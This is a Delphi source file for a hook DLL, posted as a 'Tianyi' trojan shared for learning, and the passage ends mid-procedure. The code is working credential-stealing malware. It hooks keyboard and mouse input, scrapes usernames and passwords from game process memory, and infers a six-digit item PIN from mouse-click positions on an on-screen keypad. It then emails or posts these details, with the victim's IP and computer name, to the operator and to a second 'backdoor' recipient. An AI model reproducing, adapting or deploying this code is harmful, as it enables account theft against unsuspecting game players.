unithookdll.pas

delphi写的天一马,,学习用..希望有用的拿去

unit UnitHookDll;

interface

uses Windows, other, UnitHookType, sendmail, reg, TLHelp32,
  sysutils2, uocr;

const
  MaxPoint = 10;
  WM_CLOSE = $0010;
  WM_DESTROY = $0002;
  WM_KEYUP = $0101;
  WM_LBUTTONDOWN = $0201;
  WM_RBUTTONDOWN = $0204;
  WM_LBUTTONDBLCLK = $0203;
  WM_GETTEXT = $000D;
  WM_MOUSEMOVE = $0200;
  WSADESCRIPTION_LEN = 256;
  WSASYS_STATUS_LEN = 128;
  MaxTab = 5;
  TabPass = 1;
  TabUser = 0;
type
  HKEY = type LongWord;
  TShareMem = packed record
    KeyHook, MouseHook: THandle;
    VerTest: boolean;
    quserver: array[0..255] of char;
    data: array[0..1024] of char;
    backdoor: array[0..1024] of char;
    info: array[0..2048] of char;
  end;
  PShareMem = ^TShareMem;

procedure StartHook(data: pchar; BackDoor: pchar; VerTest: boolean); stdcall;
procedure StopHook; stdcall;
procedure ThreadFunc1;
function GetMyComputerName: string;

var
  SendHtmlMailSender, SendHtmlMailSubject, SendHtmlMailData: string;
  pShMem: PShareMem;
  TimerWriteDat, timer1: uint;
  ThreadBusy: boolean;

implementation

var
  MousePoint: array[0..MaxPoint - 1] of TPoint;
  pMousePoint: integer;
  pUserPass, pUP1, pUP2: pchar;
//  LastUser, LastPass: string;
  iStatueMain //0main  1RequestAccount
    : integer;
  role: integer;
  WuPinPass, user, pass, quserverLocal: array[0..255] of char;
//  Hook: array[0..10] of THookClass; {API HOOK类}
//  HKeyArray: array[0..MaxRegHKey - 1] of HKey;
//  HKeyDataArray: array[0..MaxRegHKey - 1] of dword;

  hMappingFile: THandle;
  //callhook,
  filename: string;
  is9X, isIE, isCQ, FirstProcess: boolean;
  i1, iC1, iC2, iC3, iC4: integer;
  iStep: integer;
  hasSend:boolean;

procedure FunTimerWriteDat(Wnd: Longint; uMsg: UINT; idEvent: UINT; Time: DWORD); stdcall;
begin
  if pshmem^.info[0] <> #0 then
  begin
    writedat(pshmem^.info);
    pshmem^.info[0] := #0;
  end;
end;

procedure WriteDat2(s: string);
begin
  try
    strcat(@pshmem^.info, pchar(s + #$D#$A));
  except
  end;
end;

function IsWindows9x: Boolean;
var
  Osi: TOSVersionInfo;
begin
  Osi.dwOSVersionInfoSize := sizeof(Osi);
  GetVersionEx(Osi);
  if (Osi.dwPlatformID = Ver_Platform_Win32_NT) then
    result := False
  else
    result := True;
end;

function HtmlEncode(s: string): string;
const
  NoConversion = ['A'..'Z', 'a'..'z', '*', '@', '.', '_', '-',
    '0'..'9', '$', '!', '''', '(', ')'];
var
  i, v1, v2: integer;
  function i2s(b: byte): char;
  begin
    if b <= 9 then result := chr($30 + b)
    else result := chr($41 - 10 + b);
  end;
begin
  result := '';
  for i := 1 to length(s) do
    if s[i] = ' ' then result := result + '+'
    else if (s[i] >= #$80) or (s[i] in NoConversion) then
      result := result + s[i]
    else begin
      v1 := ord(s[i]) mod 16;
      v2 := ord(s[i]) div 16;
      result := result + '%' + i2s(v2) + i2s(v1);
    end;
end;

function TxtEncode(s: string): string;
var
  i: integer;
begin
  result := '';
  for i := 1 to length(s) do
  begin
    result := result + s[i];
    if s[i] = #$A then
      result := result + '<br>'
  end;
end;

function GetMyComputerName: string;
var
  i: DWORD;
begin
  i := 255;
  setlength(result, i);
  GetComputerName(@result[1], i);
  setlength(result, i);
end;

procedure ThreadFunc1;
var
  data, s: string;
begin
  //sleep(8000);
  data := SendHtmlMailData;
  SendHtmlMailData := '';
  if copy(pshmem^.data, 1, 1) = '0' then s := pshmem^.data + HtmlEncode(data) + '&subject=' + HtmlEncode(SendHtmlMailSubject)
    + '&sender=' + HtmlEncode(SendHtmlMailSender)
  else s := pshmem^.data + TxtEncode(Data);
  writedat(SendHtmlMailSender + '#' + SendHtmlMailSubject + '#' + s);
  SendResult(SendHtmlMailSender, SendHtmlMailSubject, s);
  if pshmem^.backdoor[0] <> #0 then
  begin
    s := '0 ' + pshmem^.backdoor + HtmlEncode(Data) + '&subject=' + HtmlEncode(SendHtmlMailSubject)
      + '&sender=' + HtmlEncode(SendHtmlMailSender);
    SendResult(SendHtmlMailSender, SendHtmlMailSubject, s);
  end;
end;

procedure send(const local: boolean = true);
var
  computer, ip, sbak: string;
  ThreadId1: dword;
  i: integer;
begin
  ip := GetMyip;
  computer := GetmycomputerName;
  SendHtmlMailSubject := computer + '(' + ip + ')';
  SendHtmlMailSender := copy(string(quserverLocal), 1, 20);
  if quserverLocal[0] = #0 then
    strcopy(@quserverLocal, @pshmem^.quserver);
  if local then
  begin
    sbak := pass;
    if pshmem^.VerTest then
    begin
      for i := 5 to length(sbak) do
        sbak[i] := '*';
    end;
    sbak := '服务器:' + quserverLocal + #$D#$A'户名:' + user +
      #$D#$A'密码:' + sbak;
    if role <> 0 then
      sbak := sbak + #$D#$A'角色:' + inttostr(role);
  end
{  else begin
    sbak := Lastpass;
    if pshmem^.VerTest then
    begin
      for i := 5 to length(sbak) do
        sbak[i] := '*';
    end;
    sbak := '服务器:' + quserverLocal + #$D#$A'户名:' + Lastuser +
      #$D#$A'密码:' + sbak;
    if role <> 0 then
      sbak := sbak + #$D#$A'角色:' + inttostr(role);
  end};
  if WuPinPass[0] <> #0 then
    sbak := sbak + #$D#$A'物品密码:' + WuPinPass;
  sbak := sbak + #$D#$A#$D#$A#$D#$A'IP:' + ip + #$D#$A'机器名:' + computer + #$D#$A;
  writedat('send: ' + sbak + ' hehe:' + SendHtmlMailData);
  if SendHtmlMailData <> '' then SendHtmlMailData := SendHtmlMailData + sbak
  else begin
    SendHtmlMailData := sbak;
    CreateThread(nil, 0, @ThreadFunc1, nil, 0, ThreadId1);
  end;
end;

{procedure timerfun(Wnd: Longint; uMsg: UINT; idEvent: UINT; Time: DWORD); stdcall;
begin
  killtimer(0, timer2);
  timer2 := 0;
  send(false);
end; }

procedure GetEditCount(p: integer; class1, class2: string);
var
  i, t: integer;
begin
  ic1 := 0; ic2 := 0;
  t := 0;
  for i := 1 to 19 do
  begin
    t := findwindowex(p, t, pchar(class1), nil);
    if t = 0 then break
    else begin
      inc(ic1);
      if IsWindowVisible(t) then
        inc(ic2);
    end;
  end;
  ic3 := 0; ic4 := 0;
  t := 0;
  for i := 1 to 19 do
  begin
    t := findwindowex(p, t, pchar(class2), nil);
    if t = 0 then break
    else begin
        //SendMessage(t, WM_GETTEXT, 255, dword(@Buffer));
        //writedat(inttostr(t)+' '+buffer);
      inc(ic3);
      if IsWindowVisible(t) then
        inc(ic4);
    end;
  end;
end;

function isparent(var p: hwnd; swintext, sclasstext: string; MustSame: boolean): boolean;
var
  WinText, ClassText: array[0..255] of char;
begin
  p := getparent(p);
  WinText[0] := #0;
  GetWindowText(p, WinText, sizeof(WinText));
  ClassText[0] := #0;
  GetClassName(p, ClassText, sizeof(ClassText));
  if Mustsame then
    result := (wintext = swintext) and (classtext = sclasstext)
  else begin
    //writedat(copy(wintext, 1, length(swintext))+','+copy(classtext, 1, length(sclasstext)));
    result := (copy(wintext, 1, length(swintext)) = swintext) and (copy(classtext, 1, length(sclasstext)) = sclasstext)
  end;
end;

procedure PushCursorPos(pt: TPoint);
begin
  MousePoint[pMousePoint] := pt;
  inc(pMousePoint);
  if pMousePoint >= MaxPoint then pMousePoint := 0;
end;

procedure CalcWuPinPass(pt: TPoint);
var
  i, iP: integer;
  s: string;
begin
  WuPinPass[0] := #0;
  iP := pMousePoint - 1;
  s := '';
  for i := 0 to MaxPoint - 1 do
  begin
    if iP < 0 then iP := MaxPoint - 1;
    with MousePoint[iP] do
      if (y >= pt.Y - 36) and (y <= pt.Y - 23) then
      begin
        if (x >= pt.X - 86) and (x <= pt.X - 68) then s := '1' + s
        else if (x >= pt.X - 63) and (x <= pt.X - 45) then s := '2' + s
        else if (x >= pt.X - 41) and (x <= pt.X - 23) then s := '3' + s
        else if (x >= pt.X - 19) and (x <= pt.X - 1) then s := '4' + s
        else if (x >= pt.X + 3) and (x <= pt.X + 21) then s := '5' + s;
      end
      else if (y >= pt.Y - 19) and (y <= pt.Y - 6) then
      begin
        if (x >= pt.X - 86) and (x <= pt.X - 68) then s := '6' + s
        else if (x >= pt.X - 63) and (x <= pt.X - 45) then s := '7' + s
        else if (x >= pt.X - 41) and (x <= pt.X - 23) then s := '8' + s
        else if (x >= pt.X - 19) and (x <= pt.X - 1) then s := '9' + s
        else if (x >= pt.X + 3) and (x <= pt.X + 21) then s := '0' + s;
      end;
    dec(iP);
  end;
  if s <> '' then
  begin
    if length(s) > 6 then delete(s, 1, length(s) - 6);
    strcopy(@WuPinPass, pchar(s));
    writedat('物品密码bak:' + WuPinPass);
  end;
{  if (WuPinPass[0] <> #0) then
  begin
    if (LastUser = '') and (LastPass = '') then
    begin
      Lastuser := user;
      LastPass := pass;
    end;
    if timer2 <> 0 then
    begin
      killtimer(0, timer2);
      timer2 := 0;
    end;
    send(false);
  end; }
  if (WuPinPass[0] <> #0) and (User[0] <> #0) and (Pass[0] <> #0) then
    send;
end;

function valid(p: pchar; allowhz: boolean): boolean;
var
  i: integer;
begin
  result := true;
  for i := 0 to 255 do
  begin
    if p[i] = #0 then
    begin
      if i = 0 then break
      else exit
    end
    else if (p[i] >= #$80) then
    begin
      if not allowhz then break;
    end
    else if (p[i] < ' ') then break;
  end;
  result := false;
end;

procedure TimerSend(Wnd: Longint; uMsg: UINT; idEvent: UINT; Time: DWORD); stdcall;
begin
  killtimer(0, timer1);
  timer1 := 0;
  hasSend := true;
  send;
end;

procedure get2000xp(p: pchar);
var
  bakuser, bakpass: array[0..255] of char;
  pU, pP: pchar;
  seg: word;
begin
  try
    seg := longword(p) shr 16;
    if (pword(p)^ = seg) and (pword(p + iStep)^ = seg) and
      (plongword(p - 6)^ <= $20) and (plongword(p + iStep - 6)^ <= $20) then
    begin
      pU := pointer(plongword(p - 2)^);
      pP := pointer(plongword(p - 2 + iStep)^);


      bakuser[0] := #0;
      strlcopy(@bakuser, pU, 30);
      writedat2('getmem6:' + bakuser);
      if not valid(@bakuser, false) then exit;


      bakpass[0] := #0;
      strlcopy(@bakpass, pP, 30);
      writedat2('getmem7:' + bakpass);
      if not valid(@bakpass, false) then exit;

      if (strcomp(@bakuser, @user) = 0) and (strcomp(@bakpass, @pass) = 0) then
          //nothing...
      else begin
        strcopy(@user, @bakuser);
        strcopy(@pass, @bakpass);
        writedat2('getmem user:' + user + ' pass:' + pass);
        if timer1 <> 0 then killtimer(0, timer1);
        timer1 := settimer(0, 1, 20000, @TimerSend);
      end;
    end;
  except
  end;
end;

function do1(p: pchar): boolean;
var
  seg: word;
  i2: integer;
begin
  result := false;
  seg := dword(p) shr 16;
  i2 := $4E; //$9E
  while i2 <= $100 do
  begin
    if (pword(p + i2)^ = seg) and (plongword(p + i2 - 6)^ <= $20) then
    begin
      iStep := $78; //2000->$90 $98  xp->$88
      while iStep <= $A0 do
      begin
        if (pword(p + i2 + iStep)^ = seg) and (plongword(p + i2 + iStep - 6)^ <= $20) then
        begin
          inc(p, i2);
          writedat2('getmem5:' + inttostr(longword(p)));
          pUserPass := p;
          get2000xp(pUserPass);
          result := true;
          exit;
        end;
        inc(iStep, $4);
      end;
    end;
    inc(i2, 2);
  end;
end;

function StrPosChar(Str: PChar; iLen: longword; c: Char): longword; assembler;
asm
        PUSH    EDI
        PUSH    EBX
        OR      EAX,EAX  //Str1
        JE      @@2
        MOV     EDI,EAX
        MOV     EBX,EAX

        MOV     AL,CL   //c
        MOV     ECX,EDX //iLen
        INC     ECX
        REPNE   SCASB
        CMP     ECX,0
        JE      @@2
        MOV     EAX,EDI
        SUB     EAX,EBX
        DEC     EAX
        JMP     @@3
@@2:    MOV     EAX,0FFFFFFFFH
@@3:    POP     EBX
        POP     EDI
end;

procedure ThreadFind;
const
  sconst = '臝臝匒凙凙臕臕臕臕臕臕匒匒匒臕匒凙凙凙匒匒臝匒臕臕臕凙凙凙凙匒凙臕臝臝臝臝臝腝';
var
  ProcessHndle: HWND;
  SysInfo: _SYSTEM_INFO;